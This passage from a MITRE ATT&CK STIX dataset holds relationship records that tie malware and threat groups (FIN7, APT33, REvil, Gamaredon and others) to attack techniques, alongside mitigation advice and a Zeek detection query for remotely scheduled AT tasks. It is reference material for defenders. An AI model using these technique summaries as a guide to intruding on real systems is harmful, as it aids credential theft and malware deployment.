"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Medium Metamorfo Apr 2020", "description": "Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020.", "url": "https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767"}, {"source_name": "ESET Casbaneiro Oct 2019", "description": "ESET Research. (2019, October 3). Casbaneiro: peculiarities of this banking Trojan that affects Brazil and Mexico. Retrieved September 23, 2021.", "url": "https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerous-cooking/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-11T00:45:17.493Z", "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has encrypted payloads and strings.(Citation: Medium Metamorfo Apr 2020)(Citation: ESET Casbaneiro Oct 2019)", "relationship_type": "uses", "source_ref": "malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2", "target_ref": "attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3a2d591a-f918-44b3-9e75-7520906b9aa3", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html", "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", "source_name": "FireEye APT10 April 2017"}, {"url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html", "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", "source_name": "FireEye APT10 Sept 2018"}], "modified": "2020-03-23T16:27:15.084Z", "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used a global service provider's IP as a proxy for C2 traffic from a victim.(Citation: FireEye APT10 April 2017)(Citation: FireEye APT10 Sept 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", "target_ref": "attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3a30af61-b9b4-488e-aebc-dee4dfce52b6", "type": "relationship", "created": "2021-09-22T13:52:51.063Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "eSentire FIN7 July 2021", "url": "https://www.esentire.com/security-advisories/notorious-cybercrime-gang-fin7-lands-malware-in-law-firm-using-fake-legal-complaint-against-jack-daniels-owner-brown-forman-inc", "description": "eSentire. (2021, July 21). Notorious Cybercrime Gang, FIN7, Lands Malware in Law Firm Using Fake Legal Complaint Against Jack Daniels\u2019 Owner, Brown-Forman Inc.. Retrieved September 20, 2021."}], "modified": "2021-09-22T13:52:51.063Z", "description": "[FIN7](https://attack.mitre.org/groups/G0046) has used WMI to install malware on targeted systems.(Citation: eSentire FIN7 July 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3a31a022-8bb1-4102-9c9a-7289febdcc5c", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "fsecure NanHaiShu July 2016", "description": "F-Secure Labs. (2016, July). NANHAISHU RATing the South China Sea. Retrieved July 6, 2018.", "url": "https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf"}], "modified": "2020-03-18T18:14:53.901Z", "description": "[NanHaiShu](https://attack.mitre.org/software/S0228) executes additional VBScript code on the victim's machine.(Citation: fsecure NanHaiShu July 2016)", "relationship_type": "uses", "source_ref": "malware--705f0783-5f7d-4491-b6b7-9628e6e006d2", "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3a31f8c0-36bf-40b5-90d2-d03c72b2c8d8", "type": "relationship", "created": "2020-05-15T13:17:57.719Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist DarkVishnya Dec 2018", "url": "https://securelist.com/darkvishnya/89169/", "description": "Golovanov, S. (2018, December 6). DarkVishnya: Banks attacked through direct connection to local network. Retrieved May 15, 2020."}], "modified": "2020-05-15T13:17:57.719Z", "description": "[DarkVishnya](https://attack.mitre.org/groups/G0105) scanned the network for public shared folders.(Citation: Securelist DarkVishnya Dec 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--813636db-3939-4a45-bea9-6113e970c029", "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3a348ba8-5608-4e9b-a180-f66cfad9896e", "type": "relationship", "created": "2019-06-21T14:45:42.420Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-07-14T19:43:38.276Z", "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level.", "relationship_type": "mitigates", "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", "target_ref": "attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3a3956aa-6756-4682-aa1b-c5199c0f3540", "type": "relationship", "created": "2022-03-16T18:59:53.989Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Proofpoint TA416 Europe March 2022", "url": "https://www.proofpoint.com/us/blog/threat-insight/good-bad-and-web-bug-ta416-increases-operational-tempo-against-european", "description": "Raggi, M. et al. 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Retrieved March 16, 2022."}], "modified": "2022-03-16T18:59:53.989Z", "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) has leveraged the legitimate email marketing service SMTP2Go for phishing campaigns.(Citation: Proofpoint TA416 Europe March 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4", "target_ref": "attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3a3ba187-fa84-4285-97e6-8a9383c5e66f", "type": "relationship", "created": "2021-10-15T13:47:16.423Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "BlackBerry CostaRicto November 2020", "url": "https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced", "description": "The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021."}, {"source_name": "CISA AR21-126A FIVEHANDS May 2021", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a", "description": "CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021."}], "modified": "2021-10-15T13:47:16.423Z", "description": "[SombRAT](https://attack.mitre.org/software/S0615) has collected data and files from a compromised host.(Citation: BlackBerry CostaRicto November 2020)(Citation: CISA AR21-126A FIVEHANDS May 2021)", "relationship_type": "uses", "source_ref": "malware--425771c5-48b4-4ecd-9f95-74ed3fc9da59", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3a3dd5f2-61af-4617-81b0-c12900f5f8e6", "type": "relationship", "created": "2022-03-31T12:39:52.055Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-31T12:39:52.055Z", "description": "Consider using Group Policy to configure and block modifications to Terminal Services parameters in the Registry.(Citation: Microsoft System Services Fundamentals)", "relationship_type": "mitigates", "source_ref": "course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9", "target_ref": "attack-pattern--379809f6-2fac-42c1-bd2e-e9dee70b27f8", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3a3efac5-1531-413b-97b7-e210b8880f05", "type": "relationship", "created": "2019-10-11T17:29:20.315Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "SecureList Griffon May 2019", "url": "https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/", "description": "Namestnikov, Y. and Aime, F. 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Installed root certificates are located in the Registry under\u00a0<code>HKLM\\SOFTWARE\\Microsoft\\EnterpriseCertificates\\Root\\Certificates\\</code>\u00a0and\u00a0</code>[HKLM or HKCU]\\Software[\\Policies\\]\\Microsoft\\SystemCertificates\\Root\\Certificates\\</code>. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison:\u00a0(Citation: Tripwire AppUNBlocker)\n* 18F7C1FCC3090203FD5BAA2F861A754976C8DD25\n* 245C97DF7514E7CF2DF8BE72AE957B9E04741E85\n* 3B1EFD3A66EA28B16697394703A72CA340A05BD5\n* 7F88CD7223F3C813818C994614A89C99FA3B5247\n* 8F43288AD272F3103B6FB1428485EA3014C0BCFE\n* A43489159A520F0D93D032CCAF37E7FE20A8B419\n* BE36A4562FB2EE05DBB3D32323ADF445084ED656\n* CDD4EEAE6000AC7F40C3802C171E30148030C072", "source_ref": "x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129", "target_ref": "attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Tripwire AppUNBlocker", "description": "Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker. Retrieved December 19, 2017.", "url": "https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/"}]}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3a50e0b3-fe35-4cfe-bdd6-306946b15abc", "type": "relationship", "created": "2020-08-05T19:35:39.629Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Secureworks REvil September 2019", "url": "https://www.secureworks.com/research/revil-sodinokibi-ransomware", "description": "Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020."}], "modified": "2020-08-05T19:35:39.629Z", "description": "[REvil](https://attack.mitre.org/software/S0496) can query the Registry to get random file extensions to append to encrypted files.(Citation: Secureworks REvil September 2019)", "relationship_type": "uses", "source_ref": "malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5", "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3a53c211-191a-4953-8fab-159077bb89f8", "type": "relationship", "created": "2020-03-10T17:45:00.304Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-10T17:45:00.304Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd", "target_ref": "attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--3a5b04dd-815c-4f52-be7a-e997625c18e6", "created": "2023-08-03T18:38:29.177Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant FIN12 Oct 2021", "description": "Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.", "url": "https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-12T14:30:20.648Z", "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used process injection to execute payloads to escalate privileges.(Citation: Mandiant FIN12 Oct 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3a5c4e73-3657-470e-882b-563f3ca599e7", "type": "relationship", "created": "2022-01-07T15:11:27.655Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos ZxShell Oct 2014", "url": "https://blogs.cisco.com/security/talos/opening-zxshell", "description": "Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019."}], "modified": "2022-01-07T15:11:27.655Z", "description": "[ZxShell](https://attack.mitre.org/software/S0412) can use ports 1985 and 1986 in HTTP/S communication.(Citation: Talos ZxShell Oct 2014)", "relationship_type": "uses", "source_ref": "malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", "target_ref": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3a6022ea-7647-4d61-8103-dd354d8dfd4d", "type": "relationship", "created": "2020-05-19T20:39:12.457Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro Gamaredon April 2020", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/gamaredon-apt-group-use-covid-19-lure-in-campaigns/", "description": "Kakara, H., Maruyama, E. (2020, April 17). Gamaredon APT Group Use Covid-19 Lure in Campaigns. Retrieved May 19, 2020."}, {"source_name": "ESET Gamaredon June 2020", "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/", "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."}, {"source_name": "CERT-EE Gamaredon January 2021", "url": "https://www.ria.ee/sites/default/files/content-editors/kuberturve/tale_of_gamaredon_infection.pdf", "description": "CERT-EE. (2021, January 27). Gamaredon Infection: From Dropper to Entry. Retrieved February 17, 2022."}, {"source_name": "Microsoft Actinium February 2022", "url": "https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/", "description": "Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022."}, {"source_name": "Secureworks IRON TILDEN Profile", "url": "https://www.secureworks.com/research/threat-profiles/iron-tilden", "description": "Secureworks CTU. (n.d.). IRON TILDEN. Retrieved February 24, 2022."}], "modified": "2022-03-09T22:26:07.098Z", "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) has embedded malicious macros in document templates, which executed VBScript. [Gamaredon Group](https://attack.mitre.org/groups/G0047) has also delivered Microsoft Outlook VBA projects with embedded macros.(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)(Citation: CERT-EE Gamaredon January 2021)(Citation: Microsoft Actinium February 2022)(Citation: Secureworks IRON TILDEN Profile)", "relationship_type": "uses", "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--3a693ff6-1969-443b-8eb4-bb2ad56f0dba", "created": "2022-10-06T17:29:06.215Z", "revoked": false, "external_references": [{"source_name": "McAfee Night Dragon", "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", "url": "https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-06T17:29:06.215Z", "description": "During [Night Dragon](https://attack.mitre.org/campaigns/C0002), threat actors used [zwShell](https://attack.mitre.org/software/S0350) to establish full remote control of the connected machine and run command-line shells.(Citation: McAfee Night Dragon)", "relationship_type": "uses", "source_ref": "campaign--ae407e32-87e0-4d92-8705-3ae25d504d8a", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--3a6a0b1a-55bf-4475-9eea-b00639367fab", "created": "2022-04-14T11:17:52.541Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "CrowdStrike StellarParticle January 2022", "url": "https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/", "description": "CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[TrailBlazer](https://attack.mitre.org/software/S0682) has used random identifier strings to obscure its C2 operations and result codes.(Citation: CrowdStrike StellarParticle January 2022)", "modified": "2022-04-14T11:17:52.541Z", "relationship_type": "uses", "source_ref": "malware--bdad6f3b-de88-42fa-9295-d29b5271808e", "target_ref": "attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3a6a72e8-0637-41db-b455-6b5d629aba28", "type": "relationship", "created": "2021-06-10T15:14:42.391Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Malwarebytes Kimsuky June 2021", "url": "https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/", "description": "Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021."}], "modified": "2021-06-10T15:14:42.391Z", "description": "[AppleSeed](https://attack.mitre.org/software/S0622) can decode its payload prior to execution.(Citation: Malwarebytes Kimsuky June 2021)", "relationship_type": "uses", "source_ref": "malware--295721d2-ee20-4fa3-ade3-37f4146b4570", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--3a72e519-b85c-4dec-9ffd-74eec8af03ca", "created": "2022-10-04T04:29:43.463Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Application Bundle Manipulation Brandon Dalton", "description": "Brandon Dalton. (2022, August 9). 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(2014, September 2). Where you AT?: Indicators of lateral movement using at.exe on Windows 7 systems. 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Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. When AT.exe is used to remotely\u00a0schedule tasks, Windows uses named pipes over\u00a0SMB\u00a0to communicate with the API on the remote machine. After authentication over SMB, the Named Pipe <code>ATSVC</code> is opened, over which the JobAdd function is called. On the remote host, the job files are created by the Task Scheduler and follow the convention\u00a0<code>C:\\Windows\\System32\\AT<job\\_id></code>.\n\nThis pipe activity could be discovered with a network decoder, such as that in wireshark, that can inspect SMB traffic to identify the use of pipes. It could also be detected by looking for raw packet capture streams or from a custom sensor on the host that hooks the appropriate API functions. If no network or API level of visibility is possible, this traffic may inferred by looking at SMB connections over 445/tcp followed by the creation of files matching the pattern\u00a0<code>C:\\Windows\\System32\\AT\\<job_id\\></code>.\n\nTo detect AT via network traffic, a sensor is needed that has the ability to extract and decode PCAP information. Specifically, it needs to properly decode SMB and the functions that are implemented over it via NamedPipes. If a sensor meets these criteria, then the PCAP data needs to search for instances of the command\u00a0<code>JobAdd</code>\u00a0over the pipe\u00a0<code>ATSVC</code>, which is all implemented over Windows SMB 445/tcp.\n\nAnalytic 1 - Remotely Scheduled Tasks via AT\n\n<code>source=\"*Zeek:*\" (dest_port=445 AND proto_info.pipe=\"ATSVC\") AND (proto_info.function=\"JobAdd\")</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", "target_ref": "attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3baf9dda-1286-4a3b-874b-7a04f0172aae", "type": "relationship", "created": "2020-03-19T22:16:54.843Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Elfin Mar 2019", "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage", "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019."}, {"description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html", "source_name": "FireEye APT33 Guardrail"}], "modified": "2020-03-19T22:16:54.843Z", "description": "[APT33](https://attack.mitre.org/groups/G0064) has used a variety of publicly available tools like [LaZagne](https://attack.mitre.org/software/S0349) to gather credentials.(Citation: Symantec Elfin Mar 2019)(Citation: FireEye APT33 Guardrail)", "relationship_type": "uses", "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3bc431bd-f093-4daf-b264-e73f1fcf591a", "type": "relationship", "created": "2020-06-24T12:42:35.446Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-04-01T14:22:19.741Z", "description": "Restrict access to the <code>authorized_keys</code> file.", "relationship_type": "mitigates", "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", "target_ref": "attack-pattern--6b57dc31-b814-4a03-8706-28bc20d739c4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3bc57dac-c8b3-4d6d-8f4c-3e7d515cdf87", "type": "relationship", "created": "2020-01-30T14:24:35.600Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/hfiref0x/UACME", "description": "UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.", "source_name": "Github UACMe"}], "modified": "2022-01-06T18:26:18.576Z", "description": "Check for common UAC bypass weaknesses on Windows systems to be aware of the risk posture and address issues where appropriate.(Citation: Github UACMe)", "relationship_type": "mitigates", "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--3bcce871-6b9d-4eaf-9364-80dea3cb7ef9", "created": "2022-08-24T14:41:49.189Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Symantec Bumblebee June 2022", "description": "Kamble, V. (2022, June 28). Bumblebee: New Loader Rapidly Assuming Central Position in Cyber-crime Ecosystem. Retrieved August 24, 2022.", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime"}, {"source_name": "Proofpoint Bumblebee April 2022", "description": "Merriman, K. and Trouerbach, P. (2022, April 28). This isn't Optimus Prime's Bumblebee but it's Still Transforming. Retrieved August 22, 2022.", "url": "https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-06T14:32:08.258Z", "description": "The [Bumblebee](https://attack.mitre.org/software/S1039) loader can support the `Dij` command which gives it the ability to inject DLLs into the memory of other processes.(Citation: Proofpoint Bumblebee April 2022)(Citation: Symantec Bumblebee June 2022)", "relationship_type": "uses", "source_ref": "malware--04378e79-4387-468a-a8f7-f974b8254e44", "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3bcfc38f-5fe8-4c66-8352-d3ba71c4f3ec", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html", "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.", "source_name": "FireEye APT19"}], "modified": "2019-04-25T11:39:52.119Z", "description": "[APT19](https://attack.mitre.org/groups/G0073) configured its payload to inject into the rundll32.exe.(Citation: FireEye APT19)", "relationship_type": "uses", "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--3bd11b5b-4dba-4612-98e0-0f3e18686123", "created": "2023-03-28T19:05:12.518Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": 